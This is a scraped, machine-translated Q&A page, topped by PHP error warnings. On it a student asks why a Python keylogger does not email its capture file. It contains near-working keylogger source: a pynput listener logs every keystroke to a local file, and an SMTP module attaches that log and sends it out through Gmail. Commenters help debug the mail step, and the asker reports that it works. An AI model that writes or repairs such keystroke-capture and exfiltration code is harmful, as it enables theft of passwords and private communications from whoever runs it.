Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/email/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
电子邮件发送python代码不需要';不能使用keylogging执行代码_Python_Email - Fatal编程技术网

电子邮件发送python代码不需要';不能使用keylogging执行代码

电子邮件发送python代码不需要';不能使用keylogging执行代码,python,email,Python,Email,我是制作Python密钥记录程序作为安全项目的学生 我创建了一个代码来创建keylogging文件,并通过电子邮件自动发送它的文件(keylogging文件)。它运行时没有任何来自complier的警告,但我无法收到任何来自此的电子邮件 我已经检查了垃圾邮件框,我等待了足够的时间发送电子邮件。 只是单独发送代码的电子邮件,执行代码后几分钟才发送电子邮件。但是使用keylogging代码,它不起作用(电子邮件不发送) 请告诉我该怎么办 keylogging.py from pynput.keybo

我是制作Python密钥记录程序作为安全项目的学生

我创建了一个代码来创建keylogging文件,并通过电子邮件自动发送它的文件(keylogging文件)。它运行时没有任何来自complier的警告,但我无法收到任何来自此的电子邮件

我已经检查了垃圾邮件框,我等待了足够的时间发送电子邮件。 只是单独发送代码的电子邮件,执行代码后几分钟才发送电子邮件。但是使用keylogging代码,它不起作用(电子邮件不发送)

请告诉我该怎么办

keylogging.py

from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime

import mailFunc

import threading

if os.path.isdir('C:\\Keylogging') == False:
    os.mkdir('C:\\Keylogging')

log_dir = ''

logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\Key.txt"),
                    level=logging.DEBUG, format='["%(asctime)s". %(message)s]')

def on_press(key):
    logging.info('"{0}"'.format(key))

with Listener(on_press = on_press) as listener:
    listener.join()

threading.Timer(60.0, mailFunc.autoEmailSend()).start()
py(它发送电子邮件)


我还没有太多的编程,这是我第一次在这样的论坛上留下问题,而我只是一个学习英语的学生,所以这些问题可能是不熟练的。请您谅解。

欢迎来到stackoverflow。请阅读并回答您的问题。问题是发送电子邮件,所以键盘记录代码只是分散注意力;移除它。运行电子邮件发送代码时会发生什么情况?有错误吗?你检查过你的垃圾邮件文件夹吗?你给它足够的时间了吗?(有些电子邮件可能需要几个小时或几天才能回复。)@Graham我认为你应该先单独测试一下你的邮件功能。试着让它发送一封与所有这些键盘记录无关的简单电子邮件。仔细检查日志,可能很简单,邮件服务器的电子邮件id/密码不正确。一旦你能独立工作,你只需要把所有的东西都放在一起。@Alterlife感谢你的评论,我试着先测试一下我的电子邮件代码,结果成功了。再次应用原始代码后,代码运行良好。谢谢你的帮助,尽管我的问题不熟练。
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import os
import time
import schedule

def autoEmailSend():
        #hided because it is my private information
        email_user = '(email id)'         
        email_password = '(email password)'        
        email_send = '(email id)
       

        subject = 'Keylogging Auto Report'

        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject

        body = 'Keylogging Report, Time : ' + time.strftime('%c', time.localtime(time.time()))
        msg.attach(MIMEText(body,'plain'))

        filename='C:\\Keylogging\\Key.txt'  
        attachment = open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
        msg.attach(part)

        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.starttls()
        server.login(email_user,email_password)

        server.sendmail(email_user,email_send,text)
        server.quit()

        print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))